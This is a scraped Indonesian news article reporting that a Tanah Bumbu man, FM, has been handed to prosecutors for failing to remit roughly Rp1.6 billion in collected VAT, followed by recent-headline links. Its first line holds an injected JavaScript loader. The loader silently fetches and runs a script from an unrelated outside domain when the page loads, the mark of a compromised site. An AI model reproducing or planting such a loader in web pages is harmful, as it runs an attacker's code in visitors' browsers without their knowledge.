(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Rugikan Negara Rp1,6 Miliar, Kasus Pengemplang Pajak Dilimpahkan ke Kejari Tanbu


KANALKALIMANTAN.COM, BANJARMASIN – Seorang lelaki asal Kabupaten Tanah  Bumbu (Tanbu) Provinsi Kalimantan Selatan (Kalsel) berinisal FM harus berurusan dengan hukum karena diduga telah melakukan tindak pidana perpajakan.

FM ditetapkan sebagai tersangka oleh penyidik dan berkas perkaranya telah dinyatakan lengkap (P21) oleh jaksa penuntut umum Kejaksaan Tinggi (Kejati) Kalsel pada tanggal 2 Mei 2024.

Saat ini perkara telah memasuki tahap II di Kejaksaan Negeri (Kejari) Tanbu. Penyerahan tersangka FM dan barang bukti ke Kajari Tanbu dilakukan penyidik Kanwil Direktorat Jenderal Pajak (DJP) Kalselteng, Selasa (7/5/2024).

Kepala Kanwil DJP Kalselteng Syamsinar menyebutkan, jika tersangka FM melalui PT DDA diduga telah melakukan tindak pidana dengan sengaja tidak menyetorkan pajak yang telah dipotong atau dipungut dan melaporkan Surat Pemberitahuan (SPT) yang isinya tidak benar atau lengkap.

Baca juga: Peternakan Babi Dekat Kampus UIN Antasari di Guntung Manggis Dikeluhkan

Tersangka disebut sebelumnya telah menerbitkan faktur pajak dan memungut pajak berupa pajak pertambahan nilai (PPN), serta telah menerima pembayaran atas PPN yang dipungutnya. Akan tetapi faktur pajak yang sudah diterbitkan tidak dilaporkan pada SPT masa PPN serta PPN yang sudah dipungut tidak disetorkan ke negara.

“Perbuatan FN tersebut diduga dapat menimbulkan kerugian negara pada pendapatan negara sekurang-kurangnya sebesar Rp1.637.082.135,” ungkap Kepala Kanwil DJP Kalselteng.

Perbuatan FM melanggar pasal 39 ayat (1) huruf d dn huruf i Undang-Undang Nomor 28 Tahun 2007 tentang Perubahan Ketiga tas Undang-Undang Nomor 6 Tahun 1983 tentang Ketentuan Umum dan Tata Cara Perpajakan sebagaimana beberapa diubah terakhir dengan Undang-Undang Nomor 6 Tahun 2023 tentang Penetapan Peraturan Pemerintah Pengganti Undang-Undang (Perppu) Nomor 2 Tahun 2022 tentang Cipta Kerja menjadi Undang-Undang.

Penyidik DJP Kalselteng juga terlebih dahulu menyita satu aset bidang tanah milik tersangka. Penyitaan menurut Syamsinar dalam rangka pemulihan kerugian pada pendapatan negara yang timbul atas perbuatan pidana yang dilakukan tersangka. Aset tersebut pada saat tahap II diserahkan ke Kejari Tanbu.

Baca juga: Pj Bupati HSU Resmikan TMMD ke-120 di Desa Sungai Karias

Syamsinar menjelaskan, DJP Kalselteng dalam penanganan perkara pajak selalu mengedepankan asas ultimum remedium, dimana hukum pidana dijadikan upaya terkahir dalam hal penegakan hukum.

“Penegakan hukum secara tegas yang diterapkan dalam kasus ini dapat menghasilkan efek jera, sehingga kejadian serupa tidak terulang kembali, karena pemenuhan kewajiban perpajakan setiap wajib pajak sangat berguna bagi tercapainya kemandirian pembangunan nasional,” katanya. (Kanalkalimantan.com/rizki)

Reporter: rizki
Editor: bie


Risa

Recent Posts

Pemkab Banjar Peringati Harkitnas dan HUT ke-75 Proklamasi Gubernur Tentara ALRI Divisi IV Pertahanan Kalimantan

KANALKALIMANTAN.COM, MARTAPURA - Halaman Kantor Bupati Banjar menjadi lokasi dilaksanakannya peringatan ke-116 Hari Kebangkitan Nasional… Read More

3 jam ago

Dirut PLN Tinjau Posko Utama Kelistrikan KTT WWF, Pastikan Sistem Kelistrikan di Bali Andal

KANALKALIMANTAN.COM, DENPASAR - Direktur Utama PT PLN (Persero) Darmawan Prasodjo meninjau langsung Posko Utama Kelistrikan… Read More

3 jam ago

Pj Bupati Erlin Hardi Hadiri Peluncuran Tahapan Pemilihan Bupati dan Wakil Bupati Kapuas 2024

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kabupaten Kapuas, Erlin Hardi menghadiri acara peluncuran tahapan… Read More

4 jam ago

Ini Penyebab Utama Crossing Drainase di Karang Anyar 1 Sering Berlubang

KANALKALIMANTAN.COM, BANJARBARU - Penyebab jalan berlubang yang kerap muncul di Jalan Karang Anyar 1 Kelurahan… Read More

7 jam ago

Kicau Mania Ramaikan Kapolresta Banjarmasin Cup 2024

KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Resor (Polres) Kota Banjarmasin menggelar lomba Burung Berkicau, Minggu (19/5/2024) siang,… Read More

20 jam ago

Pastikan Listrik Tanpa Kedip KTT WWF 2024 Bali

KANALKALIMANTAN.COM, DENPASAR - PT PLN (Persero) siap menghadirkan listrik yang andal untuk mendukung penyelenggaraan Konferensi… Read More

21 jam ago

This website uses cookies.